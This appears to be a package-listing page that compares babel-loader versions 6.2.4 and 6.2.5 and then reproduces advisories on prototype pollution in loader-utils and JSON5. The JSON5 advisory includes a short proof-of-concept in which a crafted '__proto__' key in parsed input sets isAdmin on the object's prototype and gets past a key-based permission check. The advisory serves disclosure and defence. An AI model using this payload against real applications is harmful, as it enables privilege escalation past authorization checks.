Babel-loader versions 6.2.5 and 6.2.4 are webpack loaders that allow developers to use Babel to transpile JavaScript code. Babel-loader enables simpler usage of next generation Javascript features in older browsers. Comparing version 6.2.5 to 6.2.4, the core functionalities remain largely the same, focusing on transforming JavaScript code using Babel within a webpack build process.
A notable difference between these releases lies in their development dependencies. Version 6.2.5 introduces a direct dependency on babel-preset-es2015 and babel-core. This specifies what preset for babel should be used. Babel core handles the actual babel functionalities.
The peer dependencies, specify that both versions are compatible with Webpack 1 and versions greater or equal to 2.1.0 beta. For those leveraging webpack, these versions ensure seamless integration with existing workflows using Babel, to transpile the code. The dependency on loader-utils, shared between the two versions, is crucial for webpack loader utilities, ensuring a smooth interaction. Developers adopting babel-loader can leverage the latest JavaScript features and syntax, ensuring their code functions across diverse environments while using new and shiny tech.
All the vulnerabilities related to the version 6.2.5 of the package
Prototype pollution in webpack loader-utils
Prototype pollution vulnerability in function parseQuery in parseQuery.js in webpack loader-utils prior to version 2.0.3 via the name variable in parseQuery.js.
Prototype Pollution in JSON5 via Parse Method
The parse
method of the JSON5 library before and including version 2.2.1
does not restrict parsing of keys named __proto__
, allowing specially crafted strings to pollute the prototype of the resulting object.
This vulnerability pollutes the prototype of the object returned by JSON5.parse
and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.
This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse
. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.
This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.
Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using JSON5.parse
, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:
const JSON5 = require('json5');
const doSomethingDangerous = (props) => {
if (props.isAdmin) {
console.log('Doing dangerous thing as admin.');
} else {
console.log('Doing dangerous thing as user.');
}
};
const secCheckKeysSet = (obj, searchKeys) => {
let searchKeyFound = false;
Object.keys(obj).forEach((key) => {
if (searchKeys.indexOf(key) > -1) {
searchKeyFound = true;
}
});
return searchKeyFound;
};
const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
throw new Error('Forbidden...');
}
If the user attempts to set the isAdmin
key, their request will be rejected:
const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props);
} else {
throw new Error('Forbidden...'); // Error: Forbidden...
}
However, users can instead set the __proto__
key to {"isAdmin": true}
. JSON5
will parse this key and will set the isAdmin
key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:
const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
throw new Error('Forbidden...');
}